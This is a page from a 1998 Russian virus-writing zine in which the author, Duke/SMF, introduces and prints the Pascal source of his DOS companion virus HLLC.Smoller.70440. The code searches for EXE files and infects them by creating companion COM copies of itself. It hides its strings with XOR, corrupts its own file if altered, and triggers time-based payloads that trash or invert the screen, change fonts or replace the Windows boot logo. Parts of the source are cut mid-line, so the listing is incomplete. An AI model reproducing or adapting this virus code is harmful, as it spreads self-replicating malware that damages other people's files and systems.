- [Duke's Virus Labs #3] - [Page 12] - HLLC.Smoller.70440 или Вирусная гигантомания. (c) by Duke/SMF Имя вируса : HLLC.Smoller.70440 Автор : Duke/SMF Дата создания : 14.12.98 Почитал я списки новых вирусов, определяемых AVP, и мне стало нехорошо. Среди HLL-вирусов прочное положение заняли гигантские монстры, для которых и 40000 байт кода - сущий пустяк. Тут, понимаешь, сидишь, выпендриваешься, стараешься еще на пару байтиков сократить размер кода, а эти бессовестные морды сотворяют неподъемные туши (только подумайте 70 килобайтный паразит на паскале - это как файлы-то раздует 8-[@] ). Ну и разозлился я на всех - и на вирмейкеров, которые такие вирусы пишут, и на антивирусников, у которых хватает наглости эти вирусы обезвреживать (эти вирусы сами подохнут - от ожирения :)). И, помятуя о принципах вирмейкерства, написал в подражание гигантский вирус. Теперь объясню, как я получил такой большой вирус. Ничего умного здесь нет ;)) Просто я подключил в виде массивов данных файлы: invert.com, font.fnt, crystal.hsc (упакованный), logo.zip (архив с Windows Logo.Sys), pkunzip.exe (чтобы не зависеть от архиватора в PATH) и много чего еще. Весь текст в вирусе зашифрован + вирус проверяет свою длину. Если запустить его с параметром "!", то получите небольшую справочку :) Имеются и спецэффекты (вобщем-то, только они и имеются :). В зависимости от текущего времени вирус выбирает один из них. если мы в EXE-файле - проигрываем музыку (на blaster !) ..... - 13.00 - переворачиваем экран 13.00 - 15.00 - замусориваем экран 15.00 - 18.00 - устанавливаем шрифт 18.00 - ..... - меняем logo.sys (если мы под Windows) В этом вирусе использовались некоторые чужие разработки, поэтому я выражаю свою благодарности : maganda - за Windows Logo.Sys unknown author - за Invert Access/ADV - за HSC Player [HRIS nul'} erase(a); end; {------------------- Установка нового logo на загрузку ---------------------} procedure Logos; var a,b:file; begin assign(a,Xorer('qjwlyjt*`}c'));{'pkunzip.exe'} rewrite(a,1); blockwrite(a,PKUnZip,19822); close(a); assign(b,Xorer('mnem-ymt'));{'logo.zip'} rewrite(b,1); blockwrite(b,LogoSys,30525); close(b); exec(coman,Xorer('.b"rhvj~lu(cb(%f)feld"vd}.m5S0.d~')); {'/c pkunzip.exe -o logo.zip c:\ >nul'} erase(a); erase(b); end; {---------------------------- Заражение файлов -----------------------------} procedure zar(name:string); {Поражение найденных файлов с проверкой на наличие COM-файла} var g : file of char; begin fsplit(name,ds,ns,es); st:=ds+ns+c; assign(g,st);{$I-}reset(g);{$I+} if ioresult<>0 then {COM-файла еще нет => не заражен} exec(coman,Xorer('.b"als}')+' '+paramstr(0)+' '+st+Xorer('?own')) {'/c copy'} {'>nul'} else close(g); end; {------------------- Поиск жертв и вызов заражения -------------------------} procedure Poisk; var tt : string; begin findfirst('*'+e,$21,s); tt:=''; while doserror=0 do begin if tt=s.name then exit else begin tt:=s.name;zar(s.name);end; findnext(s); end; end; {-------------------- Проверка на целостность файла ------------------------} procedure CheckChange; const VirSize=70440; {Длина откомпилированного вируса + PKLITE} var Virus : file; {Запущенный файл} j : integer; ch : byte; begin assign(Virus,paramstr(0)); reset(Virus,1); if filesize(Virus)<>VirSize then begin writeln(Xorer('Жбхзп#жя%йглш''апемзваг3')); {'Зачем вы меня изменили?'} setfattr(Virus,$20); Randomize; for j:=1 to 1000 do begin ch:=random(255); seek(Virus,random(30000)); blockwrite(Virus,ch,1); end; writeln(Xorer('Грз"угжйл%аоеьд(дм*иемраиял/')); {'Все равно живым не возьмете!'} halt end; close(Virus); end; {------------------------- Проверка параметров -----------------------------} procedure AboutVirus; begin if paramstr(1)='!' then begin TextColor(12); t:='Uikq#jw$sltst''S[dfffny!=!-J{dj?C\WO<3Df}aasx7%-6) 4##;ur=OkmlvA'; {'This is virus [Smoller-1, Duke/SMF]. Written 25.09.98 in Russia.'} writeln(Xorer(t)); TextColor(10); writeln(Xorer('Г!акурхб%нчйймфпзлкзр+эзийэрцз╡0ё▒│╝ё°.')); {'В вирусе использованы следующие работы:'} TextColor(13); writeln(Xorer('Gnlv#+g-%g&Crcm&ZGL')); {'Font (c) by Duke/SMF'} writeln(Xorer('Vhlfltw$Ijai)Tq{)!i#+iu,`lioakq')); {'Windows Logo.Sys (c) by maganda'} writeln(Xorer('Hotgqw$,f,&d~''}fbge}e+myyea|')); {'Invert (c) by unknown author'} writeln(Xorer('IRA"Soe}`w&.d.(jp)Kihn"LJX')); {'HSC Player (c) by Access/ADV'} writeln(Xorer('Ltqk`#&Gw|urfk([f|dn)+$o$-lw/TXBXB2.\A@Q:MYQEVHP@')); {'Music "Crystal Sound" (c) by [HRIS 0) and (oem=$FF) {Если мы в Windows и сейчас вечер...} and (th>18) then Num:=6; {... то меняем logo.sys} if (th>=13) and (th<=15) {Если сейчас обеденный перерыв...} and (Num=0) then Num:=2; {... то замусориваем экран} if (th<13) and (Num=0) {Если сейчас утро ...} then Num:=5; {... то переворачиваем экран} if (th>15) and (th<=18) {Если сейчас день ...} and (Num=0) then Num:=1; {... то установим шрифт} end; {---------------------------------------------------------------------------} begin CheckChange; {Проверка на целостность} AboutVirus; {Проверка параметра ком. строки} coman:=GetEnv(Xorer('BNOQSFG')); {Установка строковых констант :} {'COMSPEC'} {} e:=Xorer('/dzg');{'.exe'} {} c:=Xorer('/bmo');{'.com'} {} Poisk; {Заражение} Num:=0; {Спецэффектов пока нет} CheckExt; {Запуск жертвы} MS_MUSTDIE; {Проверка OS} CheckTime; {Проверка текущего времени} case Num of {Осуществление спецэффекта:} 1 : SetFont(@FontData); {... днем} 2 : DestroyScreen; {... в обеденный перерыв} 3 : MusicPlayer; {... при запуске из EXE-файла} 5 : Invert; {... утром} 6 : Logos; {... вечером под Windows} end; end. {Благополучное завершение работы} ===== Cut here =====